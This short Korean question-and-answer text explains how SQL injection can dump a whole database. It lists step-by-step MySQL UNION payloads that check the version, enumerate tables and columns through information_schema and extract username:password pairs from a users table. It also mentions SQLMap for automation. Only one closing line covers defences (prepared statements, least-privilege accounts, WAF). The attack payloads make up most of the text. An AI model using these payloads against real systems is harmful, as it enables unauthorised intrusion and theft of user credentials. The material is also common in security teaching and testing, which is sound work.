SQL Injection으로 데이터베이스 전체를 덤프할 수 있나요?

SQL Injection 성공 시 DB 전체 덤프가 가능할 수 있습니다.

공격 단계 (MySQL 예시):

1. DB 버전 확인: ' UNION SELECT version()-- -
2. 테이블 목록:

   ' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database()-- -

3. 컬럼 확인:

   ' UNION SELECT column_name FROM information_schema.columns WHERE table_name='users'-- -

4. 데이터 추출:

   ' UNION SELECT CONCAT(username,':',password) FROM users-- -

자동화 도구: SQLMap이 이 과정을 자동으로 수행합니다.

방어: Prepared Statement + 최소 권한 DB 계정(SELECT만 필요한 곳에 SELECT만 부여) + WAF